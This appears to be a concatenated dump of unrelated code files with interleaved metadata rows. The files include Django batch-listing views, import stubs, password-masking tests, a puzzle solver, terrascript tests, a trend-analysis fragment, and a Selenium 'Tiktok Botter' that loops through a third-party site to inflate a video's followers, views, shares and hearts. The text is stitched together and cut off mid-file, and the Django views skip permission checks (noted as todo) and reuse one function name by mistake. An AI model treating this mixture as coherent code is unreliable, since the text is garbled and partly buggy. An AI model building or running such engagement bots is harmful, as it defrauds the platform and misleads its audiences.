'accession.get_action': _("You are not allowed to get an action"), 'accession.list_batch': _("You are not allowed to list the batches") }) def get_action_id_todo_batch_list_count(request, act_id): action = get_object_or_404(Action, pk=int(act_id)) # @todo check permission on the action action_controller = ActionController(action) if not action_controller.is_current_step_valid: raise SuspiciousOperation("Invalid current action step") panel_id, panel_type = action_controller.todo_panel_id_and_type() if panel_type != 'batchpanel': raise SuspiciousOperation("Trying to access to a panel of batches but the format does not match") from main.cursor import CursorQuery cq = CursorQuery(Batch) if request.GET.get('search'): search = json.loads(request.GET['search']) cq.filter(search) if request.GET.get('filters'): filters = json.loads(request.GET['filters']) cq.filter(filters) # working batch panel cq.m2m_to_array_field( relationship=BatchPanel.batches, selected_field='batchpanel_id', from_related_field='id', to_related_field='batch_id', alias='panels' ) results = { 'count': cq.count() } return HttpResponseRest(request, results) @RestActionIdTodoBatch.def_auth_request(Method.GET, Format.JSON, perms={ 'accession.get_action': _("You are not allowed to get an action"), 'accession.list_batch': _("You are not allowed to list the batches") }) def get_action_id_todo_batch_list(request, act_id): action = get_object_or_404(Action, pk=int(act_id)) # @todo check permission on the action results_per_page = int_arg(request.GET.get('more', 30)) cursor = json.loads(request.GET.get('cursor', 'null')) limit = results_per_page sort_by = json.loads(request.GET.get('sort_by', '[]')) if not len(sort_by) or sort_by[-1] not in ('id', '+id', '-id'): order_by = sort_by + ['id'] else: order_by = sort_by action_controller = ActionController(action) if not action_controller.is_current_step_valid: raise SuspiciousOperation("Invalid current action step") panel_id, panel_type = action_controller.todo_panel_id_and_type() if panel_type != 'batchpanel': raise SuspiciousOperation("Trying to access to a panel of batches but the format does not match") from main.cursor import CursorQuery cq = CursorQuery(Batch) if request.GET.get('search'): search = json.loads(request.GET['search']) cq.filter(search) if request.GET.get('filters'): filters = json.loads(request.GET['filters']) cq.filter(filters) # working batch panel cq.m2m_to_array_field( relationship=BatchPanel.batches, selected_field='batchpanel_id', from_related_field='id', to_related_field='batch_id', alias='panels' ) cq.cursor(cursor, order_by) cq.order_by(order_by).limit(limit) batch_items = [] for batch in cq: a = { 'id': batch.pk, 'name': batch.name, 'code': batch.code, 'layout': batch.layout_id, 'descriptors': batch.descriptors, } batch_items.append(a) results = { 'perms': [], 'items': batch_items, 'prev': cq.prev_cursor, 'cursor': cursor, 'next': cq.next_cursor, } return HttpResponseRest(request, results) @RestActionIdDoneBatchCount.def_auth_request(Method.GET, Format.JSON, perms={ 'accession.get_action': _("You are not allowed to get an action"), 'accession.list_batch': _("You are not allowed to list the batches") }) def get_action_id_done_batch_list_count(request, act_id): action = get_object_or_404(Action, pk=int(act_id)) # @todo check permission on the action action_controller = ActionController(action) if not action_controller.is_current_step_valid: raise SuspiciousOperation("Invalid current action step") panel_id, panel_type = action_controller.done_panel_id_and_type() if panel_type != 'batchpanel': raise SuspiciousOperation("Trying to access to a panel of batches but the format does not match") from main.cursor import CursorQuery cq = CursorQuery(Batch) if request.GET.get('search'): search = json.loads(request.GET['search']) cq.filter(search) if request.GET.get('filters'): filters = json.loads(request.GET['filters']) cq.filter(filters) # working batch panel cq.m2m_to_array_field( relationship=BatchPanel.batches, selected_field='batchpanel_id', from_related_field='id', to_related_field='batch_id', alias='panels' ) results = { 'count': cq.count() } return HttpResponseRest(request, results) @RestActionIdDoneBatch.def_auth_request(Method.GET, Format.JSON, perms={ 'accession.get_action': _("You are not allowed to get an action"), 'accession.list_batch': _("You are not allowed to list the batches") }) def get_action_id_todo_batch_list(request, act_id): action = get_object_or_404(Action, pk=int(act_id)) # @todo check permission on the action results_per_page = int_arg(request.GET.get('more', 30)) cursor = json.loads(request.GET.get('cursor', 'null')) limit = results_per_page sort_by = json.loads(request.GET.get('sort_by', '[]')) if not len(sort_by) or sort_by[-1] not in ('id', '+id', '-id'): order_by = sort_by + ['id'] else: order_by = sort_by action_controller = ActionController(action) if not action_controller.is_current_step_valid: raise SuspiciousOperation("Invalid current action step") panel_id, panel_type = action_controller.done_panel_id_and_type() if panel_type != 'batchpanel': raise SuspiciousOperation("Trying to access to a panel of batches but the format does not match") from main.cursor import CursorQuery cq = CursorQuery(Batch) if request.GET.get('search'): search = json.loads(request.GET['search']) cq.filter(search) if request.GET.get('filters'): filters = json.loads(request.GET['filters']) cq.filter(filters) # working batch panel cq.m2m_to_array_field( relationship=BatchPanel.batches, selected_field='batchpanel_id', from_related_field='id', to_related_field='batch_id', alias='panels' ) cq.cursor(cursor, order_by) cq.order_by(order_by).limit(limit) batch_items = [] for batch in cq: a = { 'id': batch.pk, 'name': batch.name, 'code': batch.code, 'layout': batch.layout_id, 'descriptors': batch.descriptors, } batch_items.append(a) results = { 'perms': [], 'items': batch_items, 'prev': cq.prev_cursor, 'cursor': cursor, 'next': cq.next_cursor, } return HttpResponseRest(request, results)
29.204947
105
0.671143
1,037
8,265
5.148505
0.142719
0.041206
0.034089
0.042705
0.844353
0.836112
0.825997
0.825997
0.825997
0.825997
0
0.006499
0.218028
8,265
282
106
29.308511
0.819588
0.051422
0
0.845361
0
0
0.170033
0
0
0
0
0.003546
0
1
0.020619
false
0
0.072165
0
0.175258
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7986b870d27da16c048e366685c48a5057af8ade
13,379
py
Python
Tiktok Botter.py
desmo9090/Tiktok-Botter
7e33129ac0739522de42832b042b05544bcb525b
[ "MIT" ]
1
2021-11-24T14:22:14.000Z
2021-11-24T14:22:14.000Z
Tiktok Botter.py
desmo9090/Tiktok-Botter
7e33129ac0739522de42832b042b05544bcb525b
[ "MIT" ]
null
null
null
Tiktok Botter.py
desmo9090/Tiktok-Botter
7e33129ac0739522de42832b042b05544bcb525b
[ "MIT" ]
null
null
null
from colorama import init init() from colorama import Fore import os import time from selenium import webdriver, common import re import asyncio def execute(VIDEO_URL): options = webdriver.ChromeOptions() options.add_experimental_option('excludeSwitches', ['enable-logging']) # Disables logging driver = webdriver.Chrome(options=options) driver.set_window_size(800, 660) driver.get('https://vipto.de/') print(f"{Fore.MAGENTA}[!] Solve the captcha.{Fore.RESET}") done = 0 while True: name = "Followers" continue1 = True while True: try: driver.find_element_by_xpath( '//*[@id="main"]/div/div[1]/div/button' ).click() except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue except ( common.exceptions.ElementNotInteractableException ): print(f"{Fore.RED}[!] Skipped {name} due to an unsolvable, most-likely temporary error.{Fore.RESET}") continue1 = False break break try: driver.find_element_by_xpath( '//*[@id="sid"]/div/form/div/input' ).send_keys(VIDEO_URL) except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue except ( common.exceptions.ElementNotInteractableException ): print(f"{Fore.RED}[!] Skipped {name} due to an unsolvable, most-likely temporary error.{Fore.RESET}") continue1 = False else: pass if continue1: while True: try: driver.find_element_by_xpath( '//*[@id="sid"]/div/form/div/div/button' ).click() except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue else: print(f"{Fore.LIGHTBLACK_EX}Attempting to send {name.lower()} to the video...{Fore.RESET}") break while True: try: driver.find_element_by_xpath('//*[@id="sid"]/div/form/div/div/button').click() driver.find_element_by_xpath('//*[@id="c2VuZF9mb2xsb3dlcnNfdGlrdG9r"]/div[1]/div/form/button').click() except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue else: print(f"{Fore.GREEN}[!] Followers Have Been Sent Successfully!{Fore.RESET}") driver.find_element_by_xpath('/html/body/nav/ul/li/a').click() break # Views name = "Views" continue2 = True while True: try: driver.find_element_by_xpath( '//*[@id="main"]/div/div[4]/div/button' ).click() except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue except ( common.exceptions.ElementNotInteractableException ): print(f"{Fore.RED}[!] Skipped {name} due to an unsolvable, most-likely temporary error.{Fore.RESET}") continue2 = False break break try: driver.find_element_by_xpath( '//*[@id="sid4"]/div/form/div/input' ).send_keys(VIDEO_URL) except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue except ( common.exceptions.ElementNotInteractableException ): print(f"{Fore.RED}[!] Skipped {name} due to an unsolvable, most-likely temporary error.{Fore.RESET}") continue2 = False else: pass if continue2: while True: try: driver.find_element_by_xpath( '//*[@id="sid4"]/div/form/div/div/button' ).click() except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue else: print(f"{Fore.LIGHTBLACK_EX}Attempting to send {name.lower()} to the video...{Fore.RESET}") break while True: try: driver.find_element_by_xpath('//*[@id="sid4"]/div/form/div/div/button').click() driver.find_element_by_xpath('//*[@id="c2VuZC9mb2xsb3dlcnNfdGlrdG9V"]/div[1]/div/form/button').click() except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue else: print(f"{Fore.GREEN}[!] Views Have Been Sent Successfully!{Fore.RESET}") driver.find_element_by_xpath('/html/body/nav/ul/li/a').click() break # Shares name = "Shares" continue3 = True while True: try: driver.find_element_by_xpath( '//*[@id="main"]/div/div[5]/div/button' ).click() except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue except ( common.exceptions.ElementNotInteractableException ): print(f"{Fore.RED}[!] Skipped {name} due to an unsolvable, most-likely temporary error.{Fore.RESET}") continue3 = False break break try: driver.find_element_by_xpath( '//*[@id="sid7"]/div/form/div/input' ).send_keys(VIDEO_URL) except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue except ( common.exceptions.ElementNotInteractableException ): print(f"{Fore.RED}[!] Skipped {name} due to an unsolvable, most-likely temporary error.{Fore.RESET}") continue3 = False else: pass if continue3: while True: try: driver.find_element_by_xpath( '//*[@id="sid7"]/div/form/div/div/button' ).click() except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue else: print(f"{Fore.LIGHTBLACK_EX}Attempting to send {name.lower()} to the video...{Fore.RESET}") break while True: try: driver.find_element_by_xpath('//*[@id="sid7"]/div/form/div/div/button').click() driver.find_element_by_xpath('//*[@id="c2VuZC9mb2xsb3dlcnNfdGlrdG9s"]/div[1]/div/form/button').click() except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue else: print(f"{Fore.GREEN}[!] Shares Have Been Sent Successfully!{Fore.RESET}") driver.find_element_by_xpath('/html/body/nav/ul/li/a').click() break # Hearts name = "Hearts" continue4 = True while True: try: driver.find_element_by_xpath( '//*[@id="main"]/div/div[2]/div/button/i' ).click() except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue except ( common.exceptions.ElementNotInteractableException ): print(f"{Fore.RED}[!] Skipped {name} due to an unsolvable, most-likely temporary error.{Fore.RESET}") continue4 = False break break try: driver.find_element_by_xpath( '//*[@id="sid2"]/div/form/div/input' ).send_keys(VIDEO_URL) except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue except ( common.exceptions.ElementNotInteractableException ): print(f"{Fore.RED}[!] Skipped {name} due to an unsolvable, most-likely temporary error.{Fore.RESET}") continue4 = False else: pass if continue4: while True: try: driver.find_element_by_xpath( '//*[@id="sid2"]/div/form/div/div/button' ).click() except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue else: print(f"{Fore.LIGHTBLACK_EX}Attempting to send {name.lower()} to the video...{Fore.RESET}") break while True: try: driver.find_element_by_xpath('//*[@id="sid2"]/div/form/div/div/button').click() driver.find_element_by_xpath('//*[@id="c2VuZE9nb2xsb3dlcnNfdGlrdG9r"]/div[1]/div/form/button').click() except ( common.exceptions.NoSuchElementException, common.exceptions.ElementClickInterceptedException ): time.sleep(5) continue else: print(f"{Fore.GREEN}[!] Hearts Have Been Sent Successfully!{Fore.RESET}") driver.find_element_by_xpath('/html/body/nav/ul/li/a').click() break done += 1 print(f"{Fore.LIGHTBLUE_EX}[!] Times ran: {done}.{Fore.RESET}") def main(): print(f"""{Fore.RED}_____ ___ _ _______ ___ _ __ ____ ___ _____ _____ _____ ____ |_ _|_ _| |/ /_ _/ _ \| |/ / | __ ) / _ \_ _|_ _| ____| _ \ | | | || ' / | || | | | ' / | _ \| | | || | | | | _| | |_) | | | | || . \ | || |_| | . \ | |_) | |_| || | | | | |___| _ < |_| |___|_|\_\ |_| \___/|_|\_\ |____/ \___/ |_| |_| |_____|_| \_\\ {Fore.BLUE}Made by P3ter. {Fore.GREEN}[1]{Fore.RESET} Start. {Fore.GREEN}[2]{Fore.RESET} Close. """) answer = input("> ") if answer == "1": print(f"{Fore.LIGHTBLUE_EX}What's the video URL? {Fore.RESET}") url = input("") execute(url) else: exit() if __name__ == "__main__": main()
41.166154
125
0.448838
1,001
13,379
5.795205
0.131868
0.110326
0.070333
0.078607
0.846061
0.846061
0.838476
0.838476
0.838476
0.838476
0
0.011055
0.452351
13,379
325
126
41.166154
0.780674
0.002691
0
0.761589
0
0.05298
0.231118
0.096197
0
0
0
0
0
1
0.006623
false
0.013245
0.023179
0
0.029801
0.066225
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7989ab3aa6eca939feda0e921ddd86134b9673d5
349
py
Python
temboo/core/Library/GitHub/IssuesAPI/Issues/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
7
2016-03-07T02:07:21.000Z
2022-01-21T02:22:41.000Z
temboo/core/Library/GitHub/IssuesAPI/Issues/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
null
null
null
temboo/core/Library/GitHub/IssuesAPI/Issues/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
8
2016-06-14T06:01:11.000Z
2020-04-22T09:21:44.000Z
from temboo.Library.GitHub.IssuesAPI.Issues.ListIssuesForRepo import ListIssuesForRepo, ListIssuesForRepoInputSet, ListIssuesForRepoResultSet, ListIssuesForRepoChoreographyExecution from temboo.Library.GitHub.IssuesAPI.Issues.ListYourIssues import ListYourIssues, ListYourIssuesInputSet, ListYourIssuesResultSet, ListYourIssuesChoreographyExecution
116.333333
181
0.91404
24
349
13.291667
0.625
0.062696
0.106583
0.144201
0.238245
0.238245
0
0
0
0
0
0
0.040115
349
2
182
174.5
0.952239
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
5c4269d757659835bcd0269b209ab01ebd18deaf
5,513
py
Python
inbm-lib/tests/unit/inbm_lib/test_security_masker.py
ahameedx/intel-inb-manageability
aca445fa4cef0b608e6e88e74476547e10c06073
[ "Apache-2.0" ]
5
2021-12-13T21:19:31.000Z
2022-01-18T18:29:43.000Z
inbm-lib/tests/unit/inbm_lib/test_security_masker.py
ahameedx/intel-inb-manageability
aca445fa4cef0b608e6e88e74476547e10c06073
[ "Apache-2.0" ]
45
2021-12-30T17:21:09.000Z
2022-03-29T22:47:32.000Z
inbm-lib/tests/unit/inbm_lib/test_security_masker.py
ahameedx/intel-inb-manageability
aca445fa4cef0b608e6e88e74476547e10c06073
[ "Apache-2.0" ]
4
2022-01-26T17:42:54.000Z
2022-03-30T04:48:04.000Z
from future import standard_library from unittest import TestCase from inbm_lib.security_masker import mask_security_info class TestPasswordMasker(TestCase): maxDiff = None def test_mask_docker_password_and_username(self): manifest = '<?xml version="1.0" encoding="utf-8"?><manifest><type>ota</type><ota><header' \ '><type>aota</type>' \ '</header><type><aota name="sample-rpm"><cmd>pull</cmd><app>docker</app><fetch' \ '>None</fetch>' \ '<version>0</version><containerTag>None</containerTag><dockerRegistry>intelcorp' \ '/dl-training-tool' \ '</dockerRegistry><dockerUsername>user</dockerUsername><dockerPassword>mypassword' \ '</dockerPassword></aota></type></ota></manifest>' r_manifest = '<?xml version="1.0" ' \ 'encoding="utf-8"?><manifest><type>ota</type><ota><header><type>aota</type>' \ '</header><type><aota ' \ 'name="sample-rpm"><cmd>pull</cmd><app>docker</app><fetch>None</fetch>' \ '<version>0</version><containerTag>None</containerTag><dockerRegistry>intelcorp' \ '/dl-training-tool' \ '</dockerRegistry><dockerUsername>XXXXX</dockerUsername><dockerPassword' \ '>XXXXX</dockerPassword></aota></type></ota></manifest>' self.assertEqual(r_manifest, mask_security_info(manifest)) def test_mask_server_password_and_username(self): manifest = '<?xml version="1.0" encoding="utf-8"?><manifest><type>ota</type><ota><header' \ '><type>aota</type>' \ '</header><type><aota name="sample-rpm"><cmd>pull</cmd><app>docker</app><fetch' \ '>None</fetch>' \ '<version>0</version><containerTag>None</containerTag><username>user</username' \ '><password>' \ 'mypassword</password><dockerRegistry>intelcorp/dl-training-tool</dockerRegistry>' \ '</aota></type></ota></manifest>' r_manifest = "<?xml version=\"1.0\" " \ "encoding=\"utf-8\"?><manifest><type>ota</type><ota><header><type>aota" \ "</type></header><type><aota " \ "name=\"sample-rpm\"><cmd>pull</cmd><app>docker</app><fetch>None" \ "</fetch><version>0</version><containerTag>None</containerTag>" \ "<username>XXXXX</username>" \ "<password>XXXXX</password><dockerRegistry>intelcorp/dl-training-tool" \ "</dockerRegistry>" \ "</aota></type></ota></manifest>" self.assertEqual(r_manifest, mask_security_info(manifest)) def test_mask_both_passwords_and_user_names(self): manifest = '<?xml version="1.0" encoding="utf-8"?><manifest><type>ota</type><ota><header' \ '><type>aota</type>' \ '</header><type><aota name="sample-rpm"><cmd>pull</cmd><app>docker</app><fetch' \ '>None</fetch>' \ '<version>0</version><containerTag>None</containerTag><username>user</username' \ '><password>' \ 'mypassword</password><dockerRegistry>intelcorp/dl-training-tool</dockerRegistry>' \ '<dockerUsername>user</dockerUsername><dockerPassword>mypassword</dockerPassword' \ '></aota>' \ '</type></ota></manifest>' r_manifest = "<?xml version=\"1.0\" " \ "encoding=\"utf-8\"?><manifest><type>ota</type><ota><header><type>aota" \ "</type></header><type><aota " \ "name=\"sample-rpm\"><cmd>pull</cmd><app>docker</app><fetch>None" \ "</fetch><version>0</version><containerTag>None</containerTag><username>" \ "XXXXX</username>" \ "<password>XXXXX</password><dockerRegistry>intelcorp/dl-training-tool" \ "</dockerRegistry>" \ "<dockerUsername>XXXXX</dockerUsername><dockerPassword>XXXXX" \ "</dockerPassword></aota></type></ota></manifest>" self.assertEqual(r_manifest, mask_security_info(manifest)) def test_mask_no_passwords_or_usernames(self): manifest = '<?xml version="1.0" encoding="utf-8"?><manifest><type>ota</type><ota><header' \ '><type>aota</type>' \ '</header><type><aota name="sample-rpm"><cmd>pull</cmd><app>docker</app><fetch' \ '>None</fetch>' \ '<version>0</version><containerTag>None</containerTag><dockerRegistry>intelcorp' \ '/dl-training-tool' \ '</dockerRegistry></aota></type></ota' \ '></manifest>' r_manifest = "<?xml version=\"1.0\" " \ "encoding=\"utf-8\"?><manifest><type>ota</type><ota><header><type>aota" \ "</type></header><type><aota " \ "name=\"sample-rpm\"><cmd>pull</cmd><app>docker</app><fetch>None" \ "</fetch><version>0</version><containerTag>None</containerTag>" \ "<dockerRegistry>" \ "intelcorp/dl-training-tool</dockerRegistry></aota></type></ota></manifest>" self.assertEqual(r_manifest, mask_security_info(manifest))
61.255556
103
0.539271
524
5,513
5.593511
0.120229
0.057318
0.076424
0.051859
0.926305
0.926305
0.926305
0.926305
0.926305
0.926305
0
0.008024
0.276619
5,513
89
104
61.94382
0.726931
0
0
0.617284
0
0.123457
0.558861
0.452385
0
0
0
0
0.049383
1
0.049383
false
0.222222
0.037037
0
0.111111
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
1
0
0
0
0
0
8
eb854b1df668d0835cb77cadc021e01465ec955d
558
py
Python
Python/tri/tri.py
rvrheenen/OpenKattis
7fd59fcb54e86cdf10f56c580c218c62e584f391
[ "MIT" ]
12
2016-10-03T20:43:43.000Z
2021-06-12T17:18:42.000Z
Python/tri/tri.py
rvrheenen/OpenKattis
7fd59fcb54e86cdf10f56c580c218c62e584f391
[ "MIT" ]
null
null
null
Python/tri/tri.py
rvrheenen/OpenKattis
7fd59fcb54e86cdf10f56c580c218c62e584f391
[ "MIT" ]
10
2017-11-14T19:56:37.000Z
2021-02-02T07:39:57.000Z
def solve(a,b,c): if a+b==c: return ("%s+%s=%s" % (a,b,c)) if a-b==c: return ("%s-%s=%s" % (a,b,c)) if a*b==c: return ("%s*%s=%s" % (a,b,c)) if b != 0: if a/b==c: return ("%s/%s=%s" % (a,b,c)) if a==b+c: return ("%s=%s+%s" % (a,b,c)) if a==b-c: return ("%s=%s-%s" % (a,b,c)) if a==b*c: return ("%s=%s*%s" % (a,b,c)) if c != 0: if a==b/c: return ("%s=%s/%s" % (a,b,c)) a,b,c = [int(x) for x in input().split()] print(solve(a,b,c))
25.363636
41
0.342294
114
558
1.675439
0.140351
0.198953
0.298429
0.209424
0.759162
0.759162
0.759162
0.759162
0.759162
0.759162
0
0.005495
0.34767
558
22
42
25.363636
0.519231
0
0
0
0
0
0.11449
0
0
0
0
0
0
1
0.047619
false
0
0
0
0.428571
0.047619
0
0
1
null
0
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
cce6edc4ffcdc34765620b85bad7ad058fb04b6a
3,515
py
Python
tests/test_provider_linode_linode.py
mjuenema/python-terrascript
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
[ "BSD-2-Clause" ]
507
2017-07-26T02:58:38.000Z
2022-01-21T12:35:13.000Z
tests/test_provider_linode_linode.py
mjuenema/python-terrascript
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
[ "BSD-2-Clause" ]
135
2017-07-20T12:01:59.000Z
2021-10-04T22:25:40.000Z
tests/test_provider_linode_linode.py
mjuenema/python-terrascript
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
[ "BSD-2-Clause" ]
81
2018-02-20T17:55:28.000Z
2022-01-31T07:08:40.000Z
# tests/test_provider_linode_linode.py # Automatically generated by tools/makecode.py (24-Sep-2021 15:21:10 UTC) def test_provider_import(): import terrascript.provider.linode.linode def test_resource_import(): from terrascript.resource.linode.linode import linode_domain from terrascript.resource.linode.linode import linode_domain_record from terrascript.resource.linode.linode import linode_firewall from terrascript.resource.linode.linode import linode_image from terrascript.resource.linode.linode import linode_instance from terrascript.resource.linode.linode import linode_instance_ip from terrascript.resource.linode.linode import linode_lke_cluster from terrascript.resource.linode.linode import linode_nodebalancer from terrascript.resource.linode.linode import linode_nodebalancer_config from terrascript.resource.linode.linode import linode_nodebalancer_node from terrascript.resource.linode.linode import linode_object_storage_bucket from terrascript.resource.linode.linode import linode_object_storage_key from terrascript.resource.linode.linode import linode_object_storage_object from terrascript.resource.linode.linode import linode_rdns from terrascript.resource.linode.linode import linode_sshkey from terrascript.resource.linode.linode import linode_stackscript from terrascript.resource.linode.linode import linode_token from terrascript.resource.linode.linode import linode_user from terrascript.resource.linode.linode import linode_volume def test_datasource_import(): from terrascript.data.linode.linode import linode_account from terrascript.data.linode.linode import linode_domain from terrascript.data.linode.linode import linode_domain_record from terrascript.data.linode.linode import linode_firewall from terrascript.data.linode.linode import linode_image from terrascript.data.linode.linode import linode_images from terrascript.data.linode.linode import linode_instance_backups from terrascript.data.linode.linode import linode_instance_type from terrascript.data.linode.linode import linode_instances from terrascript.data.linode.linode import linode_kernel from terrascript.data.linode.linode import linode_lke_cluster from terrascript.data.linode.linode import linode_networking_ip from terrascript.data.linode.linode import linode_nodebalancer from terrascript.data.linode.linode import linode_nodebalancer_config from terrascript.data.linode.linode import linode_nodebalancer_node from terrascript.data.linode.linode import linode_object_storage_cluster from terrascript.data.linode.linode import linode_profile from terrascript.data.linode.linode import linode_region from terrascript.data.linode.linode import linode_sshkey from terrascript.data.linode.linode import linode_stackscript from terrascript.data.linode.linode import linode_user from terrascript.data.linode.linode import linode_vlans from terrascript.data.linode.linode import linode_volume # TODO: Shortcut imports without namespace for official and supported providers. # TODO: This has to be moved into a required_providers block. # def test_version_source(): # # import terrascript.provider.linode.linode # # t = terrascript.provider.linode.linode.linode() # s = str(t) # # assert 'https://github.com/linode/terraform-provider-linode' in s # assert '1.21.0' in s
32.247706
80
0.807681
447
3,515
6.185682
0.194631
0.203978
0.273418
0.364557
0.822785
0.791682
0.78698
0.425316
0.065099
0
0
0.005274
0.136842
3,515
108
81
32.546296
0.906065
0.138549
0
0
1
0
0
0
0
0
0
0.009259
0
1
0.065217
true
0
1
0
1.065217
0
0
0
0
null
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
10
69271f134fcdd5360128a527d3e19c64d5f30b06
87
py
Python
Module-0/minitorch/__init__.py
Cesarscc/MiniTorch_Clase
1f159bc86f35dce170068b37dd47940ea4a4ba04
[ "MIT" ]
null
null
null
Module-0/minitorch/__init__.py
Cesarscc/MiniTorch_Clase
1f159bc86f35dce170068b37dd47940ea4a4ba04
[ "MIT" ]
null
null
null
Module-0/minitorch/__init__.py
Cesarscc/MiniTorch_Clase
1f159bc86f35dce170068b37dd47940ea4a4ba04
[ "MIT" ]
null
null
null
from .module import * # noqa: F401,F403 from .operators import * # noqa: F401,F403
29
44
0.678161
12
87
4.916667
0.583333
0.338983
0.474576
0.610169
0
0
0
0
0
0
0
0.173913
0.206897
87
2
45
43.5
0.681159
0.356322
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
6939b21e39810bde7f819fb17c07a841b51cd978
218
py
Python
dialogflow_coffeeshop/coffeeshop/__init__.py
ConversationalComponents/coco_examples
161c8be7c9519f4030911833ec87ea39f9b87ec2
[ "MIT" ]
3
2019-06-28T17:30:08.000Z
2019-06-29T07:09:38.000Z
dialogflow_coffeeshop/coffeeshop/__init__.py
ConversationalComponents/coco_examples
161c8be7c9519f4030911833ec87ea39f9b87ec2
[ "MIT" ]
3
2019-09-23T15:10:51.000Z
2020-12-01T14:58:57.000Z
dialogflow_coffeeshop/coffeeshop/__init__.py
ConversationalComponents/coco_examples
161c8be7c9519f4030911833ec87ea39f9b87ec2
[ "MIT" ]
1
2019-06-27T08:11:39.000Z
2019-06-27T08:11:39.000Z
from coffeeshop.components_dialogflow import dialogflow_comp from coffeeshop.components_coco import namer_comp, get_address_comp, survey_comp from coffeeshop.components_dialogflow import dialogflow_comp as entry_comp
43.6
80
0.899083
29
218
6.413793
0.448276
0.225806
0.387097
0.365591
0.580645
0.580645
0.580645
0
0
0
0
0
0.077982
218
4
81
54.5
0.925373
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
15d96d2c03eae2ee470491db26d77e710d4f3493
11,454
py
Python
czsc/trendanalyser.py
hpzhen/czsc
9ac8704b35f1fec317bf92cad6c9c8eb37146b0f
[ "MIT" ]
null
null
null
czsc/trendanalyser.py
hpzhen/czsc
9ac8704b35f1fec317bf92cad6c9c8eb37146b0f
[ "MIT" ]
null
null
null
czsc/trendanalyser.py
hpzhen/czsc
9ac8704b35f1fec317bf92cad6c9c8eb37146b0f
[ "MIT" ]
null
null
null
from czsc.analyze import calculate_macd_power class TrendAnalyser: def __init__(self, fds, macd_list=None): self.__exceedRatio = 1.0 self.__zoushi_list = [] self.__input_fds = fds self.__macd_list = macd_list self._tmp_fds = [] self.__construct_zoushi() def __check_trend_beichi(self, fds=None): if fds is None: assert len(self._tmp_fds) > 2 assert self._tmp_fds[0]['direction'] == self._tmp_fds[-1]['direction'] if self._tmp_fds[-1]['power'] < self._tmp_fds[0]['power'] \ or self._tmp_fds[-1]['power'] < self._tmp_fds[-3]['power']: return True else: assert len(fds) > 2 assert fds[-1]['direction'] == fds[0]['direction'] if fds[-1]['power'] < fds[0]['power'] or fds[-1]['power'] < fds[-3]['power']: return True return False def __judge_more_than_3fds_zoushi(self): zoushi = {} direction = self._tmp_fds[0]['direction'] fd_high = max(self._tmp_fds[0]['high'], self._tmp_fds[2]['high']) fd_low = min(self._tmp_fds[-1]['low'], self._tmp_fds[-2]['low']) if direction == 'down': zoushi = {'走势': '向下', '类型': '下跌', 'symbol': self._tmp_fds[0]['symbol'], 'start_dt': self._tmp_fds[0]['start_dt'], 'end_dt': self._tmp_fds[-1]['end_dt'], 'section_amount': len(self._tmp_fds), 'zs_high': min(self._tmp_fds[-3]['high'], self._tmp_fds[-1]['high']), 'zs_low': max(self._tmp_fds[-1]['low'], self._tmp_fds[-2]['low']), 'high': fd_high, 'low': fd_low, 'direction': 'up' if fd_high > fd_low else 'down', 'power': calculate_macd_power(self.__macd_list, self._tmp_fds[0]['start_dt'], self._tmp_fds[-1]['end_dt'], mode='xd', direction=direction), 'beichi': self.__check_trend_beichi()} elif direction == 'up': zoushi = {'走势': '向上', 